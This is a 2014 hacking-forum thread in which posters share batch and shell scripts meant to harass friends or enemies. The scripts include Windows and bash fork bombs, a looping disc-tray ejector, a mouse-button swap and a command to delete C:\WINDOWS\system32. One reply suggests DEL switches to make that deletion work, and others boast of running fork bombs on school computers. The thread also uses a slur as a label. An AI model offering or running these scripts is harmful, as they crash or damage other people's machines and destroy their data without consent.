![]() |
|
A Few Batch Scripts - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Coding (https://sinister.li/Forum-Coding--71) +--- Thread: A Few Batch Scripts (/Thread-A-Few-Batch-Scripts) |
A Few Batch Scripts - Equinox - 04-30-2014 Here's a few Batch scripts you may want to use to fuck with your friends, fuck w/ your enemy, or piss someone off. Spoiler: Fork.bat (I didn't make this one.)Code: :faggot
@echo off
copy /Y %0 %random%.bat
start Fork.bat
%0|%0
goto faggotSpoiler: Disctray.bat (Or this one...)Code: @echo off
rem ---------------------------------
rem Start Opening Disk Tray
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
rem ---------------------------------Spoiler: Fuck you, billy!Code: @echo off
DEL C:\WINDOWS\system32Enjoy. I might add some more when I feel like it. RE: A Few Batch Scripts - Lain - 04-30-2014 Code: @echo off
RUNDLL32 USER32.DLL,SwapMouseButton:3 RE: A Few Batch Scripts - Satan - 04-30-2014 Fork bombs are fun. Seen them all, used most on school computers to confuse my teachers who had little to no computer experience beyond Office programs. RE: A Few Batch Scripts - superMAUS - 04-30-2014 (04-30-2014, 05:43 AM)Six Wrote: Fork bombs are fun. Seen them all, used most on school computers to confuse my teachers who had little to no computer experience beyond Office programs. Fork bombs are shit on Windows although they are great on Linux (providing the machine has no protection against them). You cant delete system32 via del without admin perms Re: RE: A Few Batch Scripts - Satan - 04-30-2014 (04-30-2014, 07:27 AM)vegimite Wrote: Fork bombs are shit on Windows although they are great on Linux (providing the machine has no protection against them). School until then didn't block students from admin control cos they were naive. Win bombs can kill a processor really easy, though its easier to do in calculator, least with the OS the school I attended used. Cheap business level computers with XP. Just continue squaring 2 and its results. Can also do doubling 2, as well as Fibonacci numbers. Spoiler:2,4,8,16,32,64,128,256,512,1024,2048,4096,8192 etc, gets bigger really quick at higher numbers, requires more calculation on slow computers, eats up processor. 1,1,2,3,5,8, basically go 1+0=1, 1+1=2, 2+1=3, 3+2=5, 5+3=8 etc. You take the result from the last, and second last, and add them together. A+B=C, B+C=D, C+D=E. Etc. Also, math isn't my strong point anyways so don't make fun of my math if its wrong. Used calculator one before, fans spun up and sounded like an airplane. If I get to a computer I'll write one and test it to make sure it works, but its fun to do in full screen. RE: A Few Batch Scripts - Equinox - 04-30-2014 (04-30-2014, 05:43 AM)Six Wrote: Fork bombs are fun. :(){ :|: & };: RE: A Few Batch Scripts - 3SidedSquare - 04-30-2014 One of my own design Code: :loop
echo ␇
goto loopRE: A Few Batch Scripts - Eclipse - 04-30-2014 (04-30-2014, 07:43 AM)Six Wrote: School until then didn't block students from admin control cos they were naive. Win bombs can kill a processor really easy, though its easier to do in calculator, least with the OS the school I attended used. Cheap business level computers with XP. Just continue squaring 2 and its results. Can also do doubling 2, as well as Fibonacci numbers. Hmm, I'll make that in a .py RE: A Few Batch Scripts - 0xDEAD10CC - 05-05-2014 As for some of the scripts, i see the second one ALL the time, but it's just the same copied and pasted version that makes absolutely no sense... The VBS code output: Code: Do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(d).Eject
colCDROMs.Item(d).Eject
Loop1. There is no need for those Set's to be within the Do loop, the objects remain the same. 2. Where is 'd' declared? 3. Like the other versions, the call to Eject is always written twice, even though that's redundant. As for the last one... DEL has certain switches that would be required here for this to have any chance of working. A few: Code: \f,\s,\q |